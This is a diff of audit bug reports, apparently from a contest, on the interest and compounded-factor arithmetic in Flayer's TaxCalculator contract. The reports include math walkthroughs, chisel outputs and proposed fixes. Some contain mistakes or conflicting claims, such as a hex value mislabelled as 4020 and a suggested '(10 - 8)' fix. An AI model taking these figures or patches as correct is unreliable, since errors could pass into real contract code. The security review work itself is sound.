+Compounded interest will be 10 times higher than intended, primarily affecting protected listings as they are subject to paying interest on loaned CollectionToken amounts.
+
+
+### PoC
+
+Let's express the formula that `calculateCompoundedFactor()` uses and evaluate it using some sample values:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91
+
+$compoundedFactor = \dfrac{previousCompoundFactor\ *\ (1e18 + (perSecondRate\ / 1000 * timePeriod))}{1e18}$
+
+**Where our sample values will be:**
+$previousCompoundFactor = 1e18$
+$interestRate = 80e2$ (80%)
+$perSecondRate = \dfrac{interestRate * 1e18}{365 * 24 * 60 * 60} = \dfrac{80e2 * 1e18}{31 536 000} = 253678335870116$
+$timePeriod = 1209600\ (14\ days)$
+
+**Final equation becomes:**
+$compoundedFactor = \dfrac{1e18 * (1e18 + \dfrac{\dfrac{80e2 * 1e18}{31536000}}{\textcolor{red}{10e2}} * 1209600)}{1e18}$
+
+$compoundedFactor = \dfrac{1e18 * (1e18 + 253678335870 * 1209600)}{1e18}$
+
+$compoundedFactor = \dfrac{1e18 * (1e18 + 306849315068352000)}{1e18}$
+
+$compoundedFactor = \dfrac{1e18 * 1306849315068352000}{1e18}$
+
+$compoundedFactor = 1.306849315068352000e18$
+
+**But it actually should be:**
+$compoundedFactor = \dfrac{1e18 * (1e18 + \dfrac{\dfrac{80e2 * 1e18}{31536000}}{\textcolor{green}{10e3}} * 1209600)}{1e18}$
+
+$compoundedFactor = \dfrac{1e18 * (1e18 + 25367833587 * 1209600)}{1e18}$
+
+$compoundedFactor = \dfrac{1e18 * 1030684931506835200}{1e18}$
+$compoundedFactor = 1.030684931506835200e18$
+
+**Or ~3% should have compounded for 2 weeks at interest rate of 80% instead of compounding 30%.**
+
+
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/TaxCalculator.sol b/flayer/src/contracts/TaxCalculator.sol
+index 915c0ff..14f714f 100644
+--- a/flayer/src/contracts/TaxCalculator.sol
++++ b/flayer/src/contracts/TaxCalculator.sol
+@@ -87,7 +87,7 @@ contract TaxCalculator is ITaxCalculator {
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 10000 * _timePeriod)) / 1e18;
+ }
+
+ /**
+```
diff --git a/006/477.md b/006/477.md
new file mode 100644
index 0000000..51cad21
--- /dev/null
+++ b/006/477.md
@@ -0,0 +1,56 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# Compounded Factor Miscalculated Due to Improper Interest Rate Scaling
+
+### Summary
+
+In the TaxCalculator contract, [calculateCompoundedFactor](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L80-L91) calculations are incorrect due to improper scaling. The interest rate, returned with two decimal precision, is mistakenly divided by 1,000 instead of 10,000, leading to an inflated interest rate.
+
+
+### Root Cause
+
+In TaxCalculator contract, when computing the compounded factor, [TaxCalculator::calculateProtectedInterest](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L59-L71) is queried to return the current interest rate based on the utilization rate. The returned interest rate here is scaled by 2 decimal precision. i.e. A 2% interest rate is represented as 200.
+But when converting this rate to percentage, the code currently divides by 1,000:
+```solidity
+ compoundedFactor_ =
+ (_previousCompoundedFactor *
+ (1e18 + ((perSecondRate / 1000) * _timePeriod))) /
+ 1e18;
+```
+When 200/1000 => 0.2, which is 20%.
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+The incorrect calculation results in inflated interest rates, which otherwise results in an inflated `compoundedFactor`
+
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L80-L91
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L59-L71
+
+### Mitigation
+
+
+Should divide by 10_000 to get the actual percentage value
+i.e.:
+```solidity
+(perSecondRate / 10000 * _timePeriod)
+
+```
\ No newline at end of file
diff --git a/006/586.md b/006/586.md
new file mode 100644
index 0000000..c32a99d
--- /dev/null
+++ b/006/586.md
@@ -0,0 +1,117 @@
+Melodic Pickle Goose
+
+Medium
+
+# Precision loss in compounded factor calculation will lower the interest accrued over time
+
+### Summary
+
+Due to division before multiplication, when calculating the current compounded factor in **TaxCalculator**#`calculateCompoundedFactor()` the value will be less than correct. However, due to the fact that the compounded factor could be checkpointed every block, this precision loss will keep occurring and will inevitably compound over time for every collection, making the protocol receive less interest on protected listings.
+
+
+### Root Cause
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+→ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+```
+
+As can be seen, when the current compound factor is calculated, `perSecondRate` is first divided by `1000` before multiplied by `_timePeriod`. As a result the product `compoundedFactor_` will be lower than it must be. When `_createCheckpoint()` is called in the next block the same precision loss will occur and will compound.
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+Attack not required in this case.
+
+
+### Impact
+
+Every collection that has protected listings will accrue less interest than supposed to which will give borrowers a longer time frame to repay their loans or get them a free pass to not get liquidated when they are actually underwater.
+
+
+### PoC
+
+We can simply calculate the `compoundedFactor_` as is with the precision loss and then calculate it without the precision loss, then compound the error for a given period of time and compare the result.
+
+$`compoundedFactor = \dfrac{previousCompoundFactor\ *\ (1e18 + \textcolor{red}{(perSecondRate\ / 1000 * \_timePeriod)})}{1e18}`$
+
+**Where:**
+$previousCompoundFactor = 1e18$
+$`interestRate = 80e2\ (80\%)`$
+$perSecondRate = \dfrac{interestRate * 1e18}{365 * 24 * 60 * 60} = \dfrac{80e2 * 1e18}{31 536 000} = 253678335870116$
+$timePeriod = 14400\ (4\ hours)$
+
+**Then**:
+
+$compoundedFactor_1 = \dfrac{1e18 * \bigg(1e18 + \bigg(\Big(\dfrac{80e2 * 1e18}{31536000}\Big) / 1000 * 14400\bigg)\Bigg)}{1e18}$
+
+$compoundedFactor_1 = \dfrac{1e18 * \big(1e18 + (253678335870116 / 1000 * 14400)\big)}{1e18}$
+
+$compoundedFactor_1 = \dfrac{1e18 * 1003652968036528000}{1e18} = 1003652968036528000$
+
+
+Now in the next compounded factor calculation, the only difference will be that $previousCompoundedFactor$ is not 1e18 but $compoundedFactor_1$.
+
+$compoundedFactor_2 = \dfrac{compoundedFactor_1 * \bigg(1e18 + \bigg(\Big(\dfrac{80e2 * 1e18}{31536000}\Big) / 1000 * 14400\bigg)\Bigg)}{1e18}$
+
+$compoundedFactor_2 = \dfrac{1003652968036528000 * 1003652968036528000}{1e18} = 1007319280248531895$
+
+
+Let's calculate the compounded factor **without** the precision loss.
+
+$`compoundedFactor = \dfrac{previousCompoundFactor\ *\ (1e18 + \textcolor{green}{(perSecondRate\ * \_timePeriod\ /\ 1000)})}{1e18}`$
+
+$compoundedFactor_1 = \dfrac{1e18 * \bigg(1e18 + \bigg(\Big(\dfrac{80e2 * 1e18}{31536000}\Big) * 1440 / 10000\bigg)\Bigg)}{1e18}$
+
+$compoundedFactor_1 = \dfrac{1e18 * \big(1e18 + (253678335870116 * 14400 / 1000)\big)}{1e18}$
+$compoundedFactor_1 = 1003652968036529670$
+
+The difference between the $compoundedFactor_1$ with precision loss and the one without is $1670$. When it compounds, the error margin will add up.
+
+$compoundedFactor_2 = \dfrac{compoundedFactor_1 * \bigg(1e18 + \bigg(\Big(\dfrac{80e2 * 1e18}{31536000}\Big) * 14400 / 1000\bigg)\Bigg)}{1e18}$
+
+$compoundedFactor_2 = \dfrac{1003652968036529670 * 1003652968036529670}{1e18}$
+
+$`compoundedFactor_2 = 1007319280248535247`$ (now greater with $`3352`$ than the $`compoundedFactor_2`$ with precision loss)
+
+
+
+We have not assessed for what values of `perSecondRate` and `_timePeriod` the precision loss would be higher so this must also be taken into account. The precision loss over one iteration of compounding is negligible **but** given this error will be present for the compound factors of all collections on Flayer and that the precision loss will vary depending on how often `_createCheckpoint()` is called and also depending the two parameters mentioned in the beginning (can be lower, but also can be higher), the cumulative sum of less accrued interest will now have an effect.
+
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/TaxCalculator.sol b/flayer/src/contracts/TaxCalculator.sol
+index 915c0ff..097097e 100644
+--- a/flayer/src/contracts/TaxCalculator.sol
++++ b/flayer/src/contracts/TaxCalculator.sol
+@@ -87,7 +87,7 @@ contract TaxCalculator is ITaxCalculator {
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+- compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate * _timePeriod / 1000)) / 1e18;
+ }
+
+ /**
+```
diff --git a/006/628.md b/006/628.md
new file mode 100644
index 0000000..9121fdf
--- /dev/null
+++ b/006/628.md
@@ -0,0 +1,41 @@
+Flaky Sable Hamster
+
+Medium
+
+# Possible precision loss while calculating `compoundedFactor_` in TaxCalculator.sol
+
+## Summary
+Possible precision loss while calculating `compoundedFactor_` in TaxCalculator.sol
+
+## Vulnerability Detail
+
+Solidity rounds down the result of an integer division, and because of that, it is always recommended to multiply before
+dividing to avoid that precision loss. In the case of a prior division over multiplication, the final result may face serious precision loss as the first answer would face truncated precision and then multiplied to another integer.
+
+The problem is in `calculateCompoundedFactor()`, it calculates compoundedFactor_ which is based on `perSecondRate`. But the issue is perSecondRate is already multiplied & divided. As result, when it is used for calculating compoundedFactor_, leads to precision loss.
+```solidity
+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+@> uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+@> compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+ }
+```
+
+## Impact
+Precision loss while calculating compoundedFactor_
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80C4-L91C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Adjust `perSecondRate` in `compoundedFactor_`, such that there is no division before multiplication
\ No newline at end of file
diff --git a/006/677.md b/006/677.md
new file mode 100644
index 0000000..9e86fd1
--- /dev/null
+++ b/006/677.md
@@ -0,0 +1,33 @@
+Happy Green Chimpanzee
+
+Medium
+
+# Incorrect Order of Division and Multiplication
+
+## Summary
+Precision loss in calculation
+
+## Vulnerability Detail
+Division operations followed directly by multiplication operations can lead to precision loss due to the way integer arithmetic is handled in Solidity.
+
+## Impact
+precision loss
+
+## Code Snippet
+- Found in src/contracts/TaxCalculator.sol [Line: 90](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L90)
+
+```solidity
+ compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+```
+## Tool used
+Manual Review , VS Code
+
+
+
+
+
+
+
+
+
+
diff --git a/006/680.md b/006/680.md
new file mode 100644
index 0000000..4c6aa1c
--- /dev/null
+++ b/006/680.md
@@ -0,0 +1,66 @@
+Sweet Coconut Robin
+
+High
+
+# Inflated interest rate calculation will trigger cascade liquidations
+
+### Summary
+
+The [TaxCalculator::calculateProtectedInterest()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L59) function calculates the interest rate that will be used to compound interest on debt in [TaxCalculator::calculateCompoundedFactor()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80). The function should return an interest rate between 200 and 1000, but returns between 200 and 10000, leading to an interest rate possibly 10 times bigger than it should.
+
+### Root Cause
+
+In `TaxCalculator:69`, 100 is used instead of 10.
+
+### Internal pre-conditions
+
+1. Utilization ratio bigger than `UTILIZATION_KINK`.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. Users borrow by calling `ProtectedListings::createListings()`.
+2. The utilization ratio exceeds `UTILIZATION_KINK`, which will trigger the bug and users will get their debt increased up to 10 times faster, leading to a cascade of liquidations.
+
+### Impact
+
+Major losses and liquidations for users.
+
+### PoC
+
+```solidity
+function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100; //@audit should be 10, not 100
+ }
+}
+```
+
+### Mitigation
+
+```solidity
+function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (10 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100; //@audit replace 100 with 10
+ }
+}
+```
\ No newline at end of file
diff --git a/006/692.md b/006/692.md
new file mode 100644
index 0000000..1c256ef
--- /dev/null
+++ b/006/692.md
@@ -0,0 +1,76 @@
+Raspy Azure Dragonfly
+
+Medium
+
+# LOSS OF PRECISION WHEN CALCULATING INTEREST RATE
+
+## Summary
+The ``TaxCalculator::calculateProtectedInterest`` function is responsible for determining the interest rate based on the ``utilization rate`` of a protocol; which can range from 0(nothing being used) to 1e18(all items are protected listings). However, it suffers from precision loss due to improper handling of fixed-point arithmetic, which can cause inaccuracies, especially when dealing with values close to the kink ``(utilization threshold)``. The precision loss occurs when the calculations involving Ether precision (1e18) are mixed with fixed-point arithmetic (interest rates in percentage or basis points).
+## Vulnerability Detail
+The main issue arises from the calculation of the interest rate when the utilization rate exceeds the kink ``(UTILIZATION_KINK)``. The second block of the function performs arithmetic using integers, which leads to rounding errors when values are multiplied or divided without accounting for Ether-level precision.
+
+When operating on values above of 0.8 ether (80% utilization), this arithmetic involves both percentage points and Ether values, which need proper scaling to maintain precision. Failing to do this results in inaccurate interest rates, especially when utilization is high.
+## Impact
+ Incorrectly calculating interest rates affects the protocol’s capital efficiency.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L69
+```solidity
+ function calculateProtectedInterest(
+ uint _utilizationRate
+ ) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ @> interestRate_ =
+ (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) /
+ (1 ether - UTILIZATION_KINK) +
+ 8) *
+ 100;
+ }
+ }
+```
+## Tool used
+
+Manual Review
+
+## Recommendation
+you can verify this using foundry chisel
+```solidity
+ //@audit PRECISION LOSS ⚒️
+➜uint PRECISION_L = 1e16
+➜uint PRECISION = 1e18
+➜ uint256 public utilizationRate = 0.94 ether
+// This is the code currently Implemeneted
+➜ function interestRateFlayer(uint i) public pure returns (uint256) {
+ return (((i - 0.8 ether) * (100 - 8)) / (1 ether - 0.8 ether) + 8) * 100;
+ }
+// Necessary scaling to account for Precision
+➜ function interestRate(uint i) public view returns (uint256) {
+
+ return ((((i - 0.8 ether) * PRECISION) * (100 - 8) * PRECISION) / ((1 ether - 0.8 ether) * PRECISION) + (8 * PRECISION)) / PRECISION_L;
+}
+// Testing out the two implementation
+// Current Implementation result
+➜ interestRateFlayer(utilizationRate)
+Type: uint256
+├ Hex: 0x0000000000000000000000000000000000000000000000000000000000001c20
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000001c20
+└ Decimal: 7200 <<@
+// Corrected Version
+➜ interestRate(utilizationRate)
+interestRate(utilizationRate)
+Type: uint256
+├ Hex: 0x0000000000000000000000000000000000000000000000000000000000001c48
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000001c48
+└ Decimal: 7240 <<@
+```
+They are other values of utilzationRate where this Precision Loss is also encountered
+ Mitigation:
+ - Precision with large constants:
+ - Use higher precision scaling (e.g., multiplying by 1e18 before dividing) to maintain precision.
\ No newline at end of file
diff --git a/006/710.md b/006/710.md
new file mode 100644
index 0000000..4ffaa19
--- /dev/null
+++ b/006/710.md
@@ -0,0 +1,83 @@
+Unique Inky Puppy
+
+Medium
+
+# Loss of Precision in `Taxcalculator::calculateProtectedInterest()` due to division before multiplication.
+
+## Summary
+There's a possible loss of precision due to division before multiplication in `Taxcalculator::calculateProtectedInterest()` which can lead to miscalculation of the `_interestRate()`
+
+
+## Vulnerability Detail
+There's a possible loss of precision due to division before multiplication in `Taxcalculator::calculateProtectedInterest()` which can lead to miscalculation of the `_interestRate()`
+## Vulnerability Detail
+The function [calculateProtectedInterest()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L59-L71) is used to calculate the interest rate for the protected listings. But the issue here is that the method of calculating the `interestRate` when the `KINK` value has been exceeded is susceptible to precision loss due to division before multiplication which can generate wrong values for the `CompoundedFactor`.
+
+Here is an illustration with simplified values to further express the point
+The present code for the derivation of `interestRate_` when the `KINK` has been exceeded.
+```solidity
+interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+```
+
+lets take for example that our _utlizatiomRate = 0.8 and UTILIZATION_INK = 0.5
+```solidity
+interestRate_ = (((0.8 ether - 0.5 ether) * (100 - 8)) / (1 ether - 0.5 ether) + 8) * 100;
+ = ((0.3 ether * 92) / 0.5 ether + 8) * 100;
+ = (27.6 ether / 0.5 ether + 8) * 100; //here 27.6 / 0.5 will give 55.2 but solidity truncates this value to 55.
+ = (55 + 8) * 100;
+ = 6300.
+```
+But when properly corrected it can be seen to give a value with better precision.
+
+```solidity
+interestRate_ = (((0.8 ether - 0.5 ether) * (100 - 8) * 100) / (1 ether - 0.5 ether) + 8) * 100;
+ = ((0.3 ether * 92 * 100) / 0.5 ether) + 800;
+ = (2760 ether / 0.5 ether) + 800;
+ = 5520 + 800; //here the precision is preserved.
+ = 6320.
+```
+
+
+## Impact
+This will lead to part of the interest which should have accrued on the `protectedListings` of users being lost, leading to loss of funds for the protocol as users pay less when unlocking their protected listing.
+
+## Code Snippet
+```solidity
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+ @> interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+```
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Rearrange the code by multiplying by 100 before performing the division, which scales up the numerator and preserves more precision during the division operation.
+
+```diff
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+-- interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+++ interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8) * 100) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+
+ }
+ }
+```
+Here the precision is more preserved than in the initial method.
\ No newline at end of file
diff --git a/006/736.md b/006/736.md
new file mode 100644
index 0000000..9a292c0
--- /dev/null
+++ b/006/736.md
@@ -0,0 +1,95 @@
+Vast Umber Walrus
+
+Medium
+
+# Incorrect use of `1000` for converting basis points to decimals in `compoundedFactor_` calculation
+
+## Summary
+
+The calculation of the compounded factor in the [`TaxCalculator::calculateCompoundedFactor()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91) incorrectly uses `1000` as the divisor to convert basis points to decimals. Basis points represent two decimal places (e.g., 200 -> 2% -> 0.02) but should use `10000` as the divisor to convert them to decimals (10000 -> 100% -> 1). This mistake causes incorrect interest calculations.
+
+## Vulnerability Detail
+
+In the [`TaxCalculator::calculateCompoundedFactor()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91), the `interestRate` is in basis points with 1e2 precision, and is correctly expanded with 1e18 to match precision for further calculations.
+
+However, when converting the per-second rate to decimals for compounded factor calculation, the divisor used is `1000`. This is incorrect, as basis points require division by `10000` to represent percentages accurately in decimal format.
+
+The use of 1000 instead of 10000 leads to incorrect calculations for the compounded interest factor, affecting any logic dependent on the compounded interest.
+
+## Impact
+
+
+Overestimation of the compounded interest rate by a factor of 10,000/1,000 = 10x. As a result, users are charged incorrect interest rates.
+
+The impact of this error grows linearly for utilization rates below the kink (2% -> 8%) and increases rapidly after passing the kink threshold (8% -> 100%).
+
+## Code Snippet
+
+[TaxCalculator::calculateCompoundedFactor()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L80-L91)
+```solidity
+File: TaxCalculator.sol
+
+80: function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+81: // Get our interest rate from our utilization rate
+82: uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+83:
+84: // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+85: // in basis points per annum with 1e2 precision and we convert the annual rate to per
+86: // second rate.
+87: uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+88:
+89: // Calculate new compounded factor
+90:@> compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+91: }
+```
+
+[TaxCalculator::calculateProtectedInterest()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L46-L71)
+```solidity
+File: TaxCalculator.sol
+46: /**
+--
+53: * @dev The interest rate is returned to 2 decimal places (200 = 2%)
+54: *
+55: * @param _utilizationRate The utilization rate for the collection
+56: *
+57: * @return interestRate_ The annual interest rate for the collection
+58: */
+59: function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+60: // If we haven't reached our kink, then we can just return the base fee
+61: if (_utilizationRate <= UTILIZATION_KINK) {
+62: // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+63: interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+64: }
+65: // If we have passed our kink value, then we need to calculate our additional fee
+66: else {
+67: // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+68: // 100% and make it accurate to 2 decimal places.
+69: interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+70: }
+71: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Replace the division by `1000` with `10000` when converting the per-second rate to decimal form in the compounded factor calculation
+
+```diff
+File: TaxCalculator.sol
+
+80: function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+81: // Get our interest rate from our utilization rate
+82: uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+83:
+84: // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+85: // in basis points per annum with 1e2 precision and we convert the annual rate to per
+86: // second rate.
+87: uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+88:
+89: // Calculate new compounded factor
+-90: compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
++90: compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 10000 * _timePeriod)) / 1e18;
+91: }
+```
\ No newline at end of file
diff --git a/006/757.md b/006/757.md
new file mode 100644
index 0000000..6043de7
--- /dev/null
+++ b/006/757.md
@@ -0,0 +1,91 @@
+Round Silver Cuckoo
+
+High
+
+# Precison loss is tax calculation
+
+## Summary
+There is a precison loss in the calculation of tax due to an incorrect order of handling calculation
+## Vulnerability Detail
+In the `TaxCalculator::calculateProtectedInterest`, the instrad rate is calculated such that there is a division before multiplication, which usually an issue in solidity, as solidity does not support decimal. To avoid rounding errors to the bearest minimum, multiplications should always come before division.
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L69
+## Impact
+Tax is wrongly calculated leading to loss for the protocol
+## POC
+The following calculations were made using chisel. you can compare the resuts from my refactored code to the actual code
+
+```solidity
+➜ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint) {return (((_utilizationRate - 0.8 ether) * (100 - 8)) / (1 ether - 0.8 ether) + 8) * 100;}
+➜ function calculateProtectedInterestRefactored(uint _utilizationRate) public pure returns (uint) {return (((_utilizationRate - 0.8 ether) * (100 - 8)) * 100) / (1 ether - 0.8 ether) + 800;}
+//The calculations don't match for the following value
+➜ calculateProtectedInterest(0.87 ether)
+Type: uint256
+├ Hex: 0x0000000000000000000000000000000000000000000000000000000000000fa0
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000000fa0
+└ Decimal: 4000
+➜ calculateProtectedInterestRefactored(0.87 ether)
+Type: uint256
+├ Hex: 0x0000000000000000000000000000000000000000000000000000000000000fa0
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000000fa0
+└ Decimal: 4020
+➜ calculateProtectedInterest(0.96 ether)
+Type: uint256
+├ Hex: 0x0000000000000000000000000000000000000000000000000000000000001fa4
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000001fa4
+└ Decimal: 8100
+➜ calculateProtectedInterestRefactored(0.96 ether)
+Type: uint256
+├ Hex: 0x0000000000000000000000000000000000000000000000000000000000001fe0
+├ Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000001fe0
+└ Decimal: 8160
+
+
+```
+This will take more effecr in calculating compound factor leading to loss
+## Code snippet
+These is how the calculations for interest and compound factor is done.
+```solidity
+ function calculateProtectedInterest(uint _utilizationRate) public pure returns (uint interestRate_) {
+ // If we haven't reached our kink, then we can just return the base fee
+ if (_utilizationRate <= UTILIZATION_KINK) {
+ // Calculate percentage increase for input range 0 to 0.8 ether (2% to 8%)
+ interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK;
+ }
+ // If we have passed our kink value, then we need to calculate our additional fee
+ else {
+ // Convert value in the range 0.8 to 1 to the respective percentage between 8% and
+ // 100% and make it accurate to 2 decimal places.
+@> interestRate_ = (((_utilizationRate - UTILIZATION_KINK) * (100 - 8)) / (1 ether - UTILIZATION_KINK) + 8) * 100;
+ }
+ }
+```
+The value of the `interestRate_` above is indirectly used in calculating the compound factor below.
+```solidity
